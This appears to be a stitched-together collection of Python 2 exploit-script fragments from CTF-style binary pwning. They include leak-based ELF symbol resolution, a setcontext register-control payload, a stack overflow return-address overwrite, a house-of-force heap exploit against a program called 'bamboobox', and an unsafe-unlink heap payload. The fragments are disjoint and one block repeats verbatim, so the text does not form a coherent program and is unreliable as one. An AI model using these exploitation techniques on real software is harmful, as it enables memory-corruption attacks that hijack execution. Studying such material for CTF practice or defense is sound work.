def __find_sym_str_table(self, dyn_section, leak): if self.BITS == 64: dyn_ent = dyn_section dt_sym_tab = 0x0 dt_str_tab = 0x0 while True: garbage = l64(leak(dyn_ent, 0x8)) if garbage == 0x6: dt_sym_tab = l64(leak(dyn_ent + 0x8, 0x8)) elif garbage == 0x5: dt_str_tab = l64(leak(dyn_ent + 0x8, 0x8)) if dt_str_tab and dt_sym_tab: break dyn_ent += 0x10 print '[+] symtab\t\t\t\t:\t0x%x' % dt_sym_tab print '[+] strtab\t\t\t\t:\t0x%x' % dt_str_tab return (dt_sym_tab, dt_str_tab)
def __find_func_adr(self, dt_sym_tab, dt_str_tab, func, elf_base, leak): if self.BITS == 64: sym_ent = dt_sym_tab while True: garbage = l32(leak(sym_ent, 0x4)) name = leak(dt_str_tab + garbage, len(func)) if name == func: break sym_ent += 0x18 adr_func = l64(leak(sym_ent + 0x8, 0x8)) + elf_base print '[+] %s loaded address\t:\t0x%x' % (func, adr_func) return adr_func
def __find_dyn_section(self, phdr, elf_base, leak): if self.BITS == 64: phdr_ent = phdr while True: garbage = l32(leak(phdr_ent, 0x4)) # p_type of dynamic segment is 0x2 if garbage == 0x2: break phdr_ent += 0x38 dyn_section = l64(leak(phdr_ent + 0x10, 0x8)) + elf_base print '[+] .dynamic section headers table\t:\t0x%x' % dyn_section return dyn_section
def setcontext(rdi, rsi, rdx, rcx, r8, r9): ''' 0x7fb8be0b818f <setcontext+95>: mov rsi,QWORD PTR [rdi+0x70] 0x7fb8be0b8193 <setcontext+99>: mov rdx,QWORD PTR [rdi+0x88] 0x7fb8be0b819a <setcontext+106>: mov rcx,QWORD PTR [rdi+0x98] 0x7fb8be0b81a1 <setcontext+113>: mov r8,QWORD PTR [rdi+0x28] 0x7fb8be0b81a5 <setcontext+117>: mov r9,QWORD PTR [rdi+0x30] 0x7fb8be0b81a9 <setcontext+121>: mov rdi,QWORD PTR [rdi+0x68] 0x7fb8be0b81ad <setcontext+125>: xor eax,eax 0x7fb8be0b81af <setcontext+127>: ret ''' payload = fit( { 0x28: l64(r8), 0x30: p64(r9), 0x68: p64(rdi), 0x70: p64(rsi), 0x88: p64(rdx), 0x98: p64(rcx), }, filler='\0') return payload
def getPayload(): target = zio.l64(0x400620) payload = "A" * 128 + "B" * 8 + target return payload
gdb.attach(io) def add(length, name): io.sendlineafter(":", "2") io.sendlineafter(":", str(length)) io.sendafter(":", name) def change(idx, length, name): io.sendlineafter(":", "3") io.sendlineafter(":", str(idx)) io.sendlineafter(":", str(length)) io.sendafter(":", name) def exit(): io.sendlineafter(":", "5") if __name__ == "__main__": add(0x60, cyclic(0x60)) change(0, 0x60 + 0x10, cyclic(0x60) + p64(0) + l64(-1)) # DEBUG() add(-(0x60 + 0x10) - (0x10 + 0x10) - 0x10, 'aaaa') add(0x10, p64(ELF("./bamboobox").sym['magic']) * 2) exit() io.interactive() io.close()
def __find_phdr(self, elf_base, leak): if self.BITS == 64: # get address of program header table phdr = l64(leak(elf_base + 0x20, 0x8)) + elf_base print '[+] program headers table\t\t:\t0x%x' % phdr return phdr
def __get_elf_entry(self, got, leak): entry = l64(leak(got, 0x8)) print '[+] libc entry\t\t\t\t:\t0x%x' % entry return entry
def delete(index): global io io.writelines(['4', str(index)]) io = zio.zio(TARGET) new(0x100) # id = 0 new(0x100) # id = 1 new(0x10) # id = 2 new(0x10) # id = 3 new(0x200) # id = 4 payload = zio.l64(0x100) payload += zio.l64(0x100) payload += zio.l64(0x6016C0 + 0x28 - 0x18) payload += zio.l64(0x6016C0 + 0x28 - 0x10) payload += zio.l64(0) * 2 edit(1, buf=payload) # raw_input() payload = NOPS(0x10) payload += zio.l64(0x20 + 0x100) payload += zio.l64(0x100) payload += zio.l64(0) * 4 payload += NOPS(0x100 - 0x30) payload += zio.l64(0x30) payload += zio.l64(0x21) payload += zio.l64(0) * 2
io.write(buf) def delete(index): global io io.writelines(['4', str(index)]) io = zio.zio(TARGET) new(0x100) # id = 0 new(0x100) # id = 1 new(0x10) # id = 2 new(0x10) # id = 3 new(0x200) # id = 4 payload = zio.l64(0x100) payload += zio.l64(0x100) payload += zio.l64(0x6016C0 + 0x28 - 0x18) payload += zio.l64(0x6016C0 + 0x28 - 0x10) payload += zio.l64(0) * 2 edit(1, buf=payload) # raw_input() payload = NOPS(0x10) payload += zio.l64(0x20 + 0x100) payload += zio.l64(0x100) payload += zio.l64(0) * 4 payload += NOPS(0x100 - 0x30) payload += zio.l64(0x30) payload += zio.l64(0x21) payload += zio.l64(0) * 2